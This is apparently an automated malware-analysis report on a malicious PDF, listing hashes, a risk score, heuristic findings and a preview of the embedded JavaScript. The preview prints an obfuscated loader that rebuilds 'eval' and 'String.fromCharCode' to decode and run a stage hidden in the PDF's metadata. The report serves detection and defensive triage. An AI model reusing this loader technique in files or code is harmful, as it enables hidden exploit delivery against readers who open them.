Malicious PDF — malware analysis report

Static analysis result for SHA-256 2081b6685f108a92…

MALICIOUS

PDF

44.4 KB Authoring application: substr First seen: 2013-06-03
MD5: d5ed476f7afed516308f5534a9752117 SHA-1: 07ea715ad78168b0d3ec84bf937c99172ce02fc0 SHA-256: 2081b6685f108a92365a5148354eb7a5cefe166ef4516d870b4787c3d7e65793
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings and the presence of a javascript object. The ML classifier strongly suggests malicious intent. The document body 'substr split test' is likely a placeholder or test string, offering no specific lure. The embedded JavaScript is the primary indicator of malicious activity, likely intended to execute further malicious code or exploit vulnerabilities.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF31 394 bytes
SHA-256: 17c18074b9a0b479bac95b7abb93c9961f0f0d1e0f1af8a28daaf0f5856a3be0
Preview script
First 1,000 lines of the extracted script
cbos='';
v=producer;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,"o"];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
vxrw=e('ti'+'tle');
q=vxrw[v](a.length-6,a.length+2);
wdq=e(v[0].toUpperCase()+'tring.fr'+a[6]+q);
q=vxrw[v](t.length+12)[subject]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	vsms = parseInt(q[i]) + parseInt(q[i+a.length-6]);
	cbos += wdq(vsms);
}
e(cbos);

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